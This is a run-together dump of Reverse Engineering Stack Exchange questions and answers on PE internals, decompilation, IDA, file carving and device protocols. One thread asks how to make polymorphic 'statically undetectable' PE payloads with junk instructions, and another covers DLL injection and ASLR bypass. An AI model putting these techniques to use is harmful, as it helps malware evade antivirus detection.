ImportDirectory: VirtualAddress = 0x00007000 &amp; Size = 0x0000075c 37 00000110: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 38 00000120: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 39 00000130: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 40 00000140: 5052 0000 1800 0000 0000 0000 0000 0000 PR.............. 41 00000150: 0000 0000 0000 0000 6871 0000 0401 0000 ........hq...... 42 00000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 43 00000170: 0000 0000 0000 0000 44 45 ------------------------------------------------- 46 47 ### Section Headers 48 49 2e74 6578 7400 0000 .........text... 50 00000180: 6421 0000 0010 0000 0022 0000 0004 0000 d!.......&quot;...... 51 00000190: 0000 0000 0000 0000 0000 0000 6000 5060 ............`.P` 52 53 000001a0: 2e64 6174 6100 0000 3400 0000 0040 0000 .data...4....@.. 54 000001b0: 0002 0000 0026 0000 0000 0000 0000 0000 .....&amp;.......... 55 000001c0: 0000 0000 4000 30c0 56 2e72 6461 7461 0000 ....@.0..rdata.. 57 000001d0: 6c08 0000 0050 0000 000a 0000 0028 0000 l....P.......(.. 58 000001e0: 0000 0000 0000 0000 0000 0000 4000 3040 ............@.0@ 59 60 000001f0: 2e62 7373 0000 0000 0c04 0000 0060 0000 .bss.........`.. 61 00000200: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 62 00000210: 0000 0000 8000 60c0 63 2e69 6461 7461 0000 ......`..idata.. // .idata section header 64 00000220: 5c07 0000 0070 0000 0008 0000 0032 0000 \....p.......2.. // VirtualSize = 0x0000075c &amp; VirtualAddress = 0x00000700 65 00000230: 0000 0000 0000 0000 0000 0000 4000 30c0 ............@.0. 66 67 00000240: 2e43 5254 0000 0000 3400 0000 0080 0000 .CRT....4....... 68 00000250: 0002 0000 003a 0000 0000 0000 0000 0000 .....:.......... 69 00000260: 0000 0000 4000 30c0 70 2e74 6c73 0000 0000 ....@.0..tls.... 71 00000270: 0800 0000 0090 0000 0002 0000 003c 0000 .............&lt;.. 72 00000280: 0000 0000 0000 0000 0000 0000 4000 30c0 ............@.0. 73 74 00000290: 2f34 0000 0000 0000 e002 0000 00a0 0000 /4.............. 75 000002a0: 0004 0000 003e 0000 0000 0000 0000 0000 .....&gt;.......... 76 000002b0: 0000 0000 4000 1042 77 2f31 3900 0000 0000 ....@..B/19..... 78 000002c0: efb8 0300 00b0 0000 00ba 0300 0042 0000 .............B.. 79 000002d0: 0000 0000 0000 0000 0000 0000 4000 1042 ............@..B 80 81 000002e0: 2f33 3100 0000 0000 dd25 0000 0070 0400 /31......%...p.. 82 000002f0: 0026 0000 00fc 0300 0000 0000 0000 0000 .&amp;.............. 83 00000300: 0000 0000 4000 1042 84 2f34 3500 0000 0000 ....@..B/45..... 85 00000310: 9d34 0000 00a0 0400 0036 0000 0022 0400 .4.......6...&quot;.. 86 00000320: 0000 0000 0000 0000 0000 0000 4000 1042 ............@..B 87 88 00000330: 2f35 3700 0000 0000 1c09 0000 00e0 0400 /57............. 89 00000340: 000a 0000 0058 0400 0000 0000 0000 0000 .....X.......... 90 00000350: 0000 0000 4000 3042 91 92 2f37 3000 0000 0000 ....@.0B/70..... 93 00000360: 1e05 0000 00f0 0400 0006 0000 0062 0400 .............b.. 94 00000370: 0000 0000 0000 0000 0000 0000 4000 1042 ............@..B 95 96 00000380: 2f38 3100 0000 0000 601a 0000 0000 0500 /81.....`....... 97 00000390: 001c 0000 0068 0400 0000 0000 0000 0000 .....h.......... 98 000003a0: 0000 0000 4000 1042 99 100 2f39 3200 0000 0000 ....@..B/92..... 101 000003b0: 4003 0000 0020 0500 0004 0000 0084 0400 @.... .......... 102 000003c0: 0000 0000 0000 0000 0000 0000 4000 1042 ............@..B 103 104 ------------------------------------------------- 105 106 - Padding for FileAlignment? 107 108 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 109 000003e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 110 000003f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 111 112 ------------------------------------------------ 113 114 ### Sections 115 116 00000400: c38d b426 0000 0000 8db4 2600 0000 0090 ...&amp;......&amp;..... 117 00000410: 83ec 1c31 c066 813d 0000 4000 4d5a c705 ...1.f.=..@.MZ.. 118 00000420: 8c63 4000 0100 0000 c705 8863 4000 0100 .c@........c@... 119 00000430: 0000 c705 8463 4000 0100 0000 c705 3060 .....c@.......0` 120 00000440: 4000 0100 0000 7518 8b15 3c00 4000 81ba @.....u...&lt;.@... 121 00000450: 0000 4000 5045 0000 8d8a 0000 4000 7450 ..@.PE......@.tP 122 00000460: a30c 6040 00a1 9463 4000 85c0 7532 c704 ..`@...c@...u2.. 123 00000470: 2401 0000 00e8 0220 0000 e805 2000 008b $...... .... ... 124 00000480: 15a8 6340 0089 10e8 d40f 0000 833d 1c40 ..c@.........=.@ 125 00000490: 4000 0174 4b31 c083 c41c c38d 7426 0090 @..tK1......t&amp;.. 126 000004a0: c704 2402 0000 00e8 d01f 0000 ebcc 6690 ..$...........f. 127 000004b0: 0fb7 5118 6681 fa0b 0174 3d66 81fa 0b02 ..Q.f....t=f.... ... .... Truncated ..... ... </code></pre> <p>My questions:</p> <ol> <li>As you see above, in the line #36, we have <code>virtualAddress</code> related to import libraries. How can I find the corresponding rawAddress of those data in the file content? I mean, how can I convert virtualAddresses to rawAddresses?</li> <li>As you see above, we have virtualAddress and Size fields in second index of DataDirectory in optionalHeader (Line #36) and also in .idata sectionHeader (Line #64). And both have equal values. Why? Isn't that redundant? Do we have some cases which these fields have different values?</li> <li>As far as I know, .text section contains the program's assembly code. So why EntryPoint field in the OptionalHeader doesn't have the address of beginning of .text section?</li> </ol>
How to find "RawAddress" of a "VirtualAddress"?
|pe|entry-point|pe32|virtual-memory|
<p>For most languages -- especially ones that are compiled directly into machine code -- the answer to whether knowing the compiler makes it easier to decompile them is &quot;no&quot;. <a href="https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr">I wrote a post a while ago explaining the difficulties that machine code decompilers face</a>; none of them are made easier by knowing the compiler.</p> <p>However, your question doesn't mention any of the specific machine code decompilers such as Ghidra. It has the potential to make your life a lot easier, by giving you a reasonably-good approximation of the source code that is interactive (i.e., allows you to change names and types, add comments, etc). I'd recommend giving it a look. Regardless, assembly language will be involved in the process.</p>
26203
2020-10-31T02:37:17.260
<p>My company has a small number of .exe that were written in the '80s that are performing some minorly important tasks. Source code is gone and documentation is scarce. In order to run them we need to use DOSBox. My team wants to get the process into a modern language so we can maintain the code and if possible see how the program functions. Previous attempts to reserve engineer have failed, I believe because not enough time was allotted to work on the problem. I've doing some exploration to see what is possible. Thus far this is what I think I have found:</p> <ol> <li>Using IDA PRO 5.0 I can get the code back to assembly. The code looks functional.</li> <li>From the above, it appears the original code was either Pascal or Delphi.</li> <li>It looks like I can see what compiler (Borland) was used to create the .exe files.</li> </ol> <p>My question is if I know the compiler was Borland, can I use that information to get back to a relatively correct source code? I know the variable names will be bad and it might have other issue that need to be debugged, but just getting back to the basic structure of the code with loops and defined function calls and methods would be great. If not, am I stuck trying to learn assembly to get a better idea of what is going on?</p>
Can you decompile code if you Know the Complier?
|ida|decompilation|delphi|
<p>The direct call can be generated by the compiler when it knows that the function comes from a DLL at compile time, or whole program optimization is used. If the target function is not marked as dllimport, the compiler generates a simple call to an external symbol and at link time this external symbol is resolved to a stub which actually jumps to the DLL import. For more info:</p> <p><a href="https://docs.microsoft.com/en-us/cpp/build/importing-function-calls-using-declspec-dllimport" rel="nofollow noreferrer"> Importing function calls using __declspec(dllimport)</a></p> <p><a href="https://devblogs.microsoft.com/oldnewthing/20100318-00/?p=14563" rel="nofollow noreferrer">What is DLL import binding?</a></p>
26211
2020-11-01T20:13:23.270
<p>I'm trying to understand how Windows is resolving functions with the IAT.</p> <p>I have noticed that when a call is made to a Win API function, the structure of that call is not always the same (it's still consistent inside a binary, but not between two differents binary).</p> <p>Sometime, if i follow the target address of that call, i find a jump to the resolved Win API function. And sometime, it's directly a call to the resolved function.</p> <p>For instance:</p> <ul> <li><p>the binary A is using call like : <code>call ds:GetSystemDirectoryW</code></p> </li> <li><p>the binary B is calling like that: <code>call GetSystemDirectoryW -&gt; jmp ds:__imp_GetSystemDirectoryW </code></p> </li> </ul> <p>Can someone explain me the this difference in the calling procedure ?</p>
PE - IAT resolve mechanism
|pe|iat|
<p>Now you can use AssetsBundleExtractor (Windows) <a href="https://github.com/DerPopo/UABE/releases" rel="nofollow noreferrer">https://github.com/DerPopo/UABE/releases</a> to open and decompress the file data_a.</p>
26220
2020-11-02T07:02:41.510
<p>I've been trying to modify a data file within an app which has random lines of readable text but is mostly incomprehensible, it has no file extension.</p> <p>I think its compressed because I was able to find an older version of the same data file [same name, same location in game files] which has a much larger file size and is in plain text.</p> <p>By default in the game files, the encrypted/compressed version is used but if I replace it with the older version it still works[all changes between them are however not present], this makes me think that the game does some sort of check to see if the file is compressed then decompresses it if appropriate.</p> <p>What can potentially be done to decompress the current data file, or if its not compressed to convert it to plain text.</p> <p>Thanks.</p> <p>Edit 1: Here are links to the original data files:</p> <p><a href="https://drive.google.com/file/d/1ThunlNtdfwK_hiFpG6ioTkrTpd62E5KR/view?usp=sharing" rel="nofollow noreferrer">compressed</a></p> <p><a href="https://drive.google.com/file/d/1mVU-gtYXglSCs6kX-fYWa5yu-neO-Nlo/view?usp=sharing" rel="nofollow noreferrer">uncompressed older version</a></p> <p>Thanks Gordon Freeman.</p>
Seemingly compressed file with some readable text
|decryption|decompress|
<p>Yes. Executable relocations, whether performed for optimization or security, will only relocate the image (executable, shared object) as a whole.</p> <p>For that reason, to bypass ASLR for example, any single address within a chosen shared object is sufficient. Given, of course, you know the precise version and build of the shared object. Knowing the specific build might be an issue by itself, however.</p> <p>The reason relocations are done at the shared object level (and not, say, the function level) is because a shared object often has many internal relative references. Those are references that are addressed relatively (and not absolutely) within a single shared object.</p> <p>In order to relocate at a lower level, many more relocation fixes will be required of the loader.</p> <p>Moreover, and this is more of a historic reason than a technological one, relocations were intended to solve a problem with sharing an address space between multiple shared objects. There was simply no need to do more than change the location of a module altogether. The same base properties were later used for enabling ASLR.</p>
26221
2020-11-02T08:40:34.053
<p>If I load a dll in 2 different processes, will the offsets calculations within one process hold for the other process?</p> <p>I'm currently trying to patch the import table of a dll, once injected into a remote process. I was wondering if I could <code>LoadLibrary</code> and <code>GetProcAddress</code> in the injector process and simply math an expected location in the target process based on the address where the dll is loaded.</p>
Are offsets within a loaded dll always the same relative to each other?
|windows|dll-injection|
<p>a simple glance ofthefile with a hexeditor says there are two jpegs inside the file just carve the data between the signature ffd8ffe0 -----ffd9 and look if that is what you are interested in?</p> <pre><code>:\&gt;e:\GIT\usr\bin\xxd.exe &quot;1IC4A 0.045 (1).fis&quot; | grep -B 4 -A 4 JFIF 000ffdb0: c154 3335 ad75 75c0 58db 4556 4e23 1dd3 .T35.uu.X.EVN#.. 000ffdc0: c685 da86 b636 bc05 1bc2 be06 5202 c358 .....6......R..X 000ffdd0: a181 00c5 503d 170c 16c8 80da 2d43 5a84 ....P=......-CZ. 000ffde0: 754a 5606 551a 7946 8c1a d194 0100 0000 uJV.U.yF........ 000ffdf0: cca1 0700 ffd8 ffe0 0010 4a46 4946 0001 ..........JFIF.. 000ffe00: 0200 0001 0001 0000 fffe 0037 4a50 4547 ...........7JPEG 000ffe10: 2065 6e63 6f64 6572 2062 6173 6564 206f encoder based o 000ffe20: 6e20 6970 704a 5020 5b37 2e30 2e31 3034 n ippJP [7.0.104 000ffe30: 315d 202d 204a 756c 2031 3920 3230 3131 1] - Jul 19 2011 -- 002748e0: 50e2 b6ea 147e 51f7 61fe c1c3 1f89 a48b P....~Q.a....... 002748f0: 8fa0 832d daf3 ca7a 0362 bfd2 7f24 8e74 ...-...z.b...$.t 00274900: 1300 cd7a 10c2 e192 e208 0e14 5269 14c0 ...z........Ri.. 00274910: 3332 251c 9972 f805 e06c 0100 0000 4a07 32%..r...l....J. 00274920: 0700 ffd8 ffe0 0010 4a46 4946 0001 0200 ........JFIF.... 00274930: 0001 0001 0000 fffe 0037 4a50 4547 2065 .........7JPEG e 00274940: 6e63 6f64 6572 2062 6173 6564 206f 6e20 ncoder based on 00274950: 6970 704a 5020 5b37 2e30 2e31 3034 315d ippJP [7.0.1041] 00274960: 202d 204a 756c 2031 3920 3230 3131 00ff - Jul 19 2011.. </code></pre>
26223
2020-11-02T17:24:54.120
<p>This file suppose to have an image obtained from a Laser system. Since it needs a propietary software for the decoder I have been slowed in order to get the data. I wonder if you guys know any way of decoding the information that is in this file. I tried using the fuzzy logic toolbox from matlab that says that reads a .fis file, but could not get it to work. Any ideas very welcome. <a href="https://drive.google.com/file/d/18j0LWbhWO2VX8RAlbJ-QkGwvJw22LXCi/view?usp=sharing" rel="nofollow noreferrer">Sample file</a></p>
I'm trying to decode this file that supposed to encode an imaged obtained by a laser system
|file-format|
<p>Assemblers are faced with a similar problem: the user writes textual labels such as <code>@loop</code>, and references them in conditional branch instructions such as <code>jbe @loop</code>. However, the assembler does not know ahead of time how far the branch is from the label (in order to generate the displacement for the branch). It only learns that after generating machine code for the rest of the instructions.</p> <p>What to do about this? Re-introduce symbolic labels. Instead of representing the <code>jne</code> as <code>jne 0x42</code> -- which has the address directly inside of it -- represent it as <code>jne top_of_loop</code>. Then, after you've added garbage instructions, compute the length from the <code>jne</code> to <code>top_of_loop</code>.</p>
26231
2020-11-03T10:36:45.947
<p>Recently I've been working on a project. The main purpose of the project is to generated statically undetectable PE samples. Where each time one generates a PE sample, each generated sample is going to be significantly different than the previous one. I'll be using <em>shikata_ga_nai</em> (<a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb" rel="nofollow noreferrer">https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb</a>) to achieve polymorphism. However I'm currently working to improve on <em>garbage assembly generation</em>. There are a lot of possibilities to create garbage assembly. However most of the encoders, including shikata_ga_nai generate garbage assembly at a fixed relative position - meaning the garbage instructions are placed at the end of the code or the beginning. Is there anyway to scatter these garbage instructions across the code WITHOUT messing up the conditional/unconditial <code>jmp</code> and <code>call</code> instructions with relative offsets?</p> <p>For the sake of simplicity take the below piece of assembly as an example of a code that my PE file is going to execute</p> <p>Payload</p> <pre><code>0x42: 0F B7 2C 17 movzx ebp, word ptr [rdi + rdx] 0x46: 8D 52 02 lea edx, [rdx + 2] 0x49: AD lodsd eax, dword ptr [rsi] 0x4a: 81 3C 07 57 69 6E 45 cmp dword ptr [rdi + rax], 0x456e6957 0x51: 75 EF jne 0x42 </code></pre> <p>Let's say the garbage instruction I want to insert is <code>cmovne rsi, rsi</code>. If I insert this instruction at the beginning or the end of the code the logic of it doesn't change.</p> <p>However If I insert <code>cmovne rsi, rsi</code> before the <code>cmp</code> instruction the <code>0x4a</code> offset, when the conditional jmp instruction at the <code>0x55</code> will execute, it's going to skip the instructions located at <code>0x42</code>-&gt; <code>0x42: movzx ebp, word ptr [rdi + rdx]</code> and start executing at address <code>0x46</code> -&gt; <code>lea edx, [rdx + 2]</code> becase the offset it's trying to jmp is relative to the <code>rip</code>.</p> <p>(<strong>Old offset</strong> -&gt; <code>0x42</code>+ <strong>garbage instruction length</strong> -&gt; <code>0x4</code>= <strong>New WRONG offset</strong> -&gt; <code>0x46</code> )</p> <p>Garbage padded payload</p> <pre><code>0x42: 0F B7 2C 17 movzx ebp, word ptr [rdi + rdx] 0x46: 8D 52 02 lea edx, [rdx + 2] 0x49: AD lodsd eax, dword ptr [rsi] 0x4a: 48 0F 45 F6 cmovne rsi, rsi 0x4e: 81 3C 07 57 69 6E 45 cmp dword ptr [rdi + rax], 0x456e6957 0x55: 75 EF jne 0x46 </code></pre> <p>Is there any approach I can take to resolve this?</p>
Garbage Assembly Code Generationat at random offsets
|disassembly|assembly|pe|x86-64|
<ol> <li>Open up the binary in IDA Pro.</li> <li>Search for <code>0x534D4544</code>, which is the 32-bit encoding for the <code>SMED</code> tag.</li> <li>There are five results; three of them are <code>mov</code> instructions, two of them are <code>cmp</code> instructions. The latter two are the interesting ones; this is where it's comparing the subchunk ID tags. They are both in a function called <code>-[SMMDScanner getSMMetadata:signature:]</code>.</li> <li>Immediately you find that it decrypts the data with Blowfish in ECB mode, using the fixed key &quot;u7w58he4746&quot;. (Discard and don't process the first four bytes before decrypting, as those are just the (big-endian) length of the following encrypted data.)</li> <li>Immediately you also see that the decrypted data is returned in an <code>NSString</code>, which obviously contains XML data from looking at the strings in the surrounding code. E.g. it ensures that the decrypted data begins with <code>&lt;MAGIC&gt;</code> and ends with <code>&lt;/MAGIC&gt;</code>.</li> </ol>
26241
2020-11-04T17:41:55.267
<p>I am writing an app to analyze .wav audio files and extract metadata. The way the metadata works for RIFF based files is shown in this picture:</p> <p><a href="https://i.stack.imgur.com/OwQXU.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OwQXU.gif" alt="enter image description here" /></a></p> <p>You need to have &quot;format&quot; and &quot;data&quot; subchunks, but then you can have as many subchunks as you want in the file. To extract a particular subchunk, you go to the first subchunk, read it's ID, and if its not the one you are looking for you get the subchunk size and then skip to the next subchunk ID.</p> <p>Other examples of &quot;open&quot; subchunks are iXML and ID3. The one in particular I am hoping to read is from Soundminer, which is a searchable database program. Their subchunk ID is &quot;SMED&quot; so I am able to find that and copy the contents of their metadata. Being that it is a closed subchunk, I'm having difficulty turning that data into a readable format.</p> <p>That being said, I have access to Soundminer, so I am able to write specific strings in the SMED metadata to hopefully decipher later in the data dump.</p> <p>Since I'm completely new to this, I'm looking for advice on the best strategy to reverse engineer this metadata. It is a massive subchunk with the ability to store images and and waveform caches. I'm looking to just get some of the more simple data like &quot;Description&quot; and &quot;Microphone&quot;.</p> <p>I am on macOS so that may limit my methods. Also the app is being written in swift, but my current method is to dump out the hex values of that data to a text file and manually look for patterns, which I've been able to see some. For example if I write the letter &quot;a&quot; to the description, then analyze the file, I'll get the same repeated 16 digit value <code>09 14 c2 0c c3 0f 9f 8c</code>, but if I put just one &quot;a&quot; then that value isn't there. It seems like it needs &quot;aaaaaaaa&quot; to give me the <code>09 14 c2 0c c3 0f 9f 8c</code>. Obviously this a flawed strategy and not very likely to yield results.</p>
Extract closed format metadata from audio file
|macos|
<p>Not possible, either through a configuration option or through a plugin. For example, here is the part of the code that prints the <code>[rbp-1Fh]</code> from your example:</p> <pre><code>qsnprintf(v16, v36 - v16, &quot;[%s%c%ah]&quot;, gpPlatformStackPointerName, v20, v29); </code></pre> <p>I.e. the format string that produces it is hard-coded in the binary and cannot be modified.</p>
26249
2020-11-05T06:22:45.740
<p>Is there a way to customize the format of IDA's decompiled code?</p> <p>e.g.</p> <pre><code>char buf[7]; // [rsp+5h] [rbp-1Fh] </code></pre> <p>to</p> <pre><code>char buf[ 7 ]; // [ rsp + 5h ] [ rbp - 1Fh ] </code></pre> <p>or</p> <pre><code>switch (c) </code></pre> <p>to</p> <pre><code>switch( c ) </code></pre>
Custom IDA Decompilation Format
|ida|decompilation|c|ida-plugin|
<p>here is a sample code that will emit rep movsd instead of memcpy() function</p> <p>the src const char * is deliberately kept large enough to avoid unrolling and using simple mov [dest++] ,const</p> <p>source</p> <pre><code>:\&gt;cat memcopin.cpp #include &lt;memory.h&gt; #pragma intrinsic( memcpy ) char *src =&quot;\ I am Source And I Will be truncated by memcpy\n\ I am Source And I Will be truncated by memcpy\n&quot;; char dest[128]; int main(void) { memcpy(dest,src,64); return 0; } </code></pre> <p>compiled and linked with vscommunity 2017 dev cmd prompt as x86 on x86</p> <pre><code>:\&gt;cl /Zi /W4 /analyze /EHsc /Od /nologo memcopin.cpp /link /release memcopin.cpp </code></pre> <p>executed under debugger cdb.exe(windbg console) awk is not a necessity it is there to get only relevent output and awk is availble for windows x86 and x64</p> <pre><code>:\&gt;cdb -c &quot;g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q&quot; memcopin.exe |awk &quot;/Reading/,/quit:/&quot; 0:000&gt; cdb: Reading initial command 'g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q' disassembly of main() memcopin!main: 01291000 55 push ebp 01291001 8bec mov ebp,esp 01291003 56 push esi 01291004 57 push edi 01291005 b910000000 mov ecx,10h 0129100a 8b3500902d01 mov esi,dword ptr [memcopin!src (012d9000)] 01291010 bfe0992d01 mov edi,offset memcopin!dest (012d99e0) 01291015 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 01291017 33c0 xor eax,eax 01291019 5f pop edi 0129101a 5e pop esi 0129101b 5d pop ebp 0129101c c3 ret src 012d0190 &quot;I am Source And I Will be truncated by memcpy.I am Source And I Will be truncated by memcpy.&quot; dest 012d99e0 &quot;I am Source And I Will be truncated by memcpy.I am Source And I &quot; quit: </code></pre>
26256
2020-11-05T20:58:31.843
<p>So I am currently in the stages of creating binexact version of functions in decompiled code. I noticed that in this function the <code>rep movsd</code> is called and logically this is translated as Qmemcpy/memcpy when transformed to Pcode in IDA. In order to bin exact this , I cannot use memcopy because a function will be called and the code wont be bin exact. Is there a way to try to force the use of <code>rep movsd</code> ? I understand this is somewhat compiler dependent, but I was thinking I could write this differently to force the same effect.</p> <p><strong>C code This is what I need to change to match original assembly</strong></p> <pre><code>BOOL NetSendCmdReq2(BYTE bCmd, BYTE mast, BYTE pnum, TCmdGItem *p) { DWORD ticks; TCmdGItem cmd; memcpy(&amp;cmd, p, sizeof(cmd)); cmd.bCmd = bCmd; cmd.bPnum = pnum; cmd.bMaster = mast; ticks = GetTickCount(); if (!cmd.dwTime) { cmd.dwTime = ticks; } else if (ticks - cmd.dwTime &gt; 5000) { return FALSE; } multi_msg_add((BYTE *)&amp;cmd.bCmd, sizeof(cmd)); return TRUE; } </code></pre> <p><strong>Compare Assembly: (This is what the C above compiles to)</strong></p> <pre><code>push ebp mov ebp, esp sub esp, 0x28 push ebx push esi push 0x26 lea eax, [ebp-0x28] push [ebp+0x10] mov bl, dl mov esi, ecx push eax call &lt;imm_fn&gt; &lt;------ This should be rep movsd rather than a call. mov al, [ebp+0x0C] add esp, 0x0C mov [ebp-0x26], al mov al, [ebp+0x08] test esi, esi mov [ebp-0x28], bl mov [ebp-0x27], al jnz $+0xF and [ebp-0x0E], esi mov dl, 0x26 lea ecx, [ebp-0x28] call &lt;imm_fn&gt; jmp $+0x25 call [&lt;indir_fn&gt;] cmp dword ptr [ebp-0x0E], 0x00 jnz $+0x5 mov [ebp-0x0E], eax jmp $+0xA sub eax, [ebp-0x0E] cmp eax, 0x1388 jnle $+0xA mov dl, 0x26 lea ecx, [ebp-0x28] call &lt;imm_fn&gt; pop esi pop ebx leave ret 0x0C </code></pre> <p><strong>Origional Assembly : This is what should be matched .</strong></p> <pre><code>push ebp mov ebp, esp sub esp, 0x28 push esi mov esi, [ebp+0x10] push edi mov eax, ecx push 0x09 lea edi, [ebp-0x28] pop ecx rep movsd &lt; ----- Notice this doesn't make an actual call. mov cl, [ebp+0x0C] movsw mov [ebp-0x26], cl mov cl, [ebp+0x08] test eax, eax mov [ebp-0x28], dl mov [ebp-0x27], cl jnz $+0xF and [ebp-0x0E], eax mov dl, 0x26 lea ecx, [ebp-0x28] call &lt;imm_fn&gt; jmp $+0x25 call [&lt;indir_fn&gt;] cmp dword ptr [ebp-0x0E], 0x00 jnz $+0x5 mov [ebp-0x0E], eax jmp $+0xA sub eax, [ebp-0x0E] cmp eax, 0x1388 jnle $+0xA mov dl, 0x26 lea ecx, [ebp-0x28] call &lt;imm_fn&gt; pop edi pop esi leave ret 0x0C </code></pre>
Converting rep movsd to to C without memcpy
|assembly|decompilation|c|functions|
<ol> <li>find the <code>library.zip</code> inside the <code>lib</code> folder included</li> <li>extract <code>EXENAME__main__.pyc</code> (EXENAME is the name of the exe)</li> <li>run <code>pip install decompyle3</code></li> <li>run <code>decompyle3 EXENAME__main__.pyc</code> and the source will be printed onto the screen</li> </ol>
26257
2020-11-06T06:17:55.630
<p>How to reverse engineer Python scripts turned into binaries with <a href="https://cx-freeze.readthedocs.io" rel="nofollow noreferrer">cx_Freeze</a>?</p>
How to reverse engineer cx_Freeze exe's?
|decompilation|python|
<p>The other answer is wrong; it's totally possible (assuming the IDB already has a type for the structure in question, and that type has been applied to arguments/variables in Hex-Rays).</p> <p>In IDA 7.4 and above (I think; might have been 7.3), right-click the variable and press &quot;Jump to xref globally&quot;, as follows:</p> <p><a href="https://i.stack.imgur.com/7UOJC.png" rel="noreferrer"><img src="https://i.stack.imgur.com/7UOJC.png" alt="Jump to xref globally" /></a></p> <p>You'll get a popup with all global x-refs, as follows:</p> <p><a href="https://i.stack.imgur.com/oYl5Y.png" rel="noreferrer"><img src="https://i.stack.imgur.com/oYl5Y.png" alt="Global cross references" /></a></p> <p>This is based on caching, so the first time you do it, you'll want to right-click and press &quot;refresh&quot; as in the image above (which will take a while for large databases, but is totally worth it -- this is one of my most frequently-used features in Hex-Rays).</p>
26284
2020-11-11T06:36:05.263
<p>I'm working on a decompilation of a windows PE (with its full debug symbols in a PDB) and I'm using IDA to help with it.</p> <p>I want to know how I can get a list of all references to a given class member variable. When I press 'X' in a name that is a class member variable in the decompiler window it only shows xrefs to it within the actual function being decompiled. I want to see the references in all of the functions. Is that even possible without coding a script?</p>
How can I get xrefs to class member variables in IDA?
|ida|decompilation|pe|
<p>So, the term <em>copy_block</em> seems to be an invention of the forum poster. It is <strong>not</strong> specific to Tricore but a general approach used in many embedded firmwares to solve the following problem:</p> <p>The firmware runs from read-only flash memory, but in some situations you need parts of it in RAM, either because you need writable data, or for speed (often code in RAM runs much faster than from flash).</p> <p>To solve this, usually there is some code which performs copying of blocks of data from flash to RAM, and it can us either hardcoded addresses or a separate table. Generally, such table would consist of multiple records (which are called <code>copy_block</code> by the poster) with the following information:</p> <ol> <li><p>Source address (address of original data in flash)</p> </li> <li><p>Target address (destination in RAM)</p> </li> <li><p>Size of data to copy</p> </li> </ol> <p>There is no standard procedure to find such routines; basically you need to look for functions that copy data around and possibly get the addresses and size from a table. Usually such functions are called early in the firmware initialization process.</p> <p>After identifying the routine you can simulate its behavior by copying the bytes from FLASH to RAM segments using information from the table. A script similar to memcpy.idc shipped with IDA could be used for this.</p>
26289
2020-11-11T11:32:16.023
<p>Recently I work on Tricore Arch to reverse an algorithm. But I had a problem to find a constant value(4 byte). the line of code shown below:</p> <pre><code>ld32.w d4, [a0]-0x68D4 </code></pre> <p>I know <code>a0 = 0xD00032E0</code> but it seems I need to find the equivalent <code>copy_block</code> that tells I where <code>d000032e0</code> was copied to.</p> <p><strong>1- basically what is Copy_Block in tricore?</strong><br /> <strong>2- How I can find copy_block?</strong></p> <p>Thanks</p>
What is copy_block struct in Tricore Arch?
|ida|disassembly|memory|address|
<p>Maybe this API-documentation will help (managed to get it from github while enstoflow was active earlier this year). It has all the payloads documented. <a href="https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing" rel="nofollow noreferrer">https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing</a></p> <p>A snippet from the document: 2.2.5. Boost Boost gives time in minutes or duration in percentage depending on the mcu mode. Boost offset (setpoint) is also given and it is between -20 and +20 degrees.</p> <p>Characteristics UUID ca3c0685-b708-4cd4-a049-5badd10469e7 value BYTE[0] Boost 0=disabled, 1=enabled</p> <p>BYTE[1-2]: Boost offset int16_t as degrees (20 as 2000 and 21,5 as 2150) BYTE[3]: Boost offset int8_t percentage BYTE[4-5]: Boost time set point in minutes uint8_t BYTE[6-7]: Boost time in minutes uint8_t, returns remaining boost time, write does not have effect</p> <p>Best regards, Mika</p>
26299
2020-11-14T00:10:35.547
<p>I am trying to reverse engineering an <em>ENSTO</em> &quot;smart&quot; bluetooth thermostat, which i just got installed in the house. The thermostat due to some technical and electrical challenges sometimes got placed at weird positions, so I thought, I am giving this a try, and see how far I can get.</p> <p>In their official app, i was playing around to generat some log, so I managed to sniff the bluetooth packages, then using <em>wireshark</em>, noticated some patterns, but having hard times actually understanding them:</p> <p><a href="https://i.stack.imgur.com/8bCYM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8bCYM.png" alt="enter image description here" /></a></p> <p>The first <code>01</code> or <code>00</code> definitely indicates whether we are increasing or decreasing, but what the rest could be?</p> <p>Any tips, ideas, and suggestions are welcome!</p> <p>I am a fullstack engineer, and pretty new all these iot and smarthome things, but trying my best.</p> <pre><code> ACTION PAYLOAD INCREASE_BY_5_IN_ONE_HOUR Value: 01f401143c003c00 DECREASE_BY_5_IN_ONE_HOUR Value: 00f401143c003c00 INCREASE_BY_3_IN_ONE_HOUR Value: 012c010a3c003c00 DECREASE_BY_3_IN_ONE_HOUR Value: 002c010a3c003c00 INCREASE_BY_1_IN_3_HOURS Value: 01640014b400b400 DECREASE_BY_1_IN_3_HOURS Value: 00640014b400b400 </code></pre> <p>Thank you!</p>
reverse engineering bluetooth smart thermostat payload
|bluetooth|
<p>So, the problem is that you have two branches with different stack delta: E8 at 5018E4 (fall through from <code>jnz</code>) and F0 at 501c49 (destination of <code>jnz</code>). Normally they should be the same, however IDA failed to reconcile them, probably due to too many indirect calls in the function.</p> <p>One peculiarity of manual stack delta adjustments is that they apply <em>after</em> the instruction at which you're setting them. In our case, we need to make 501C49 have the delta of E8, however we can't do it on the instruction itself but need to go to the previous one <em>by address</em> and not the control flow, i.e. the <code>jmp</code> at 501C44. Since that address has SPD=E0, specifying delta of -8 should work.</p> <p>This is why such manipulations are best done in text view and not graph.</p>
26304
2020-11-14T20:41:52.563
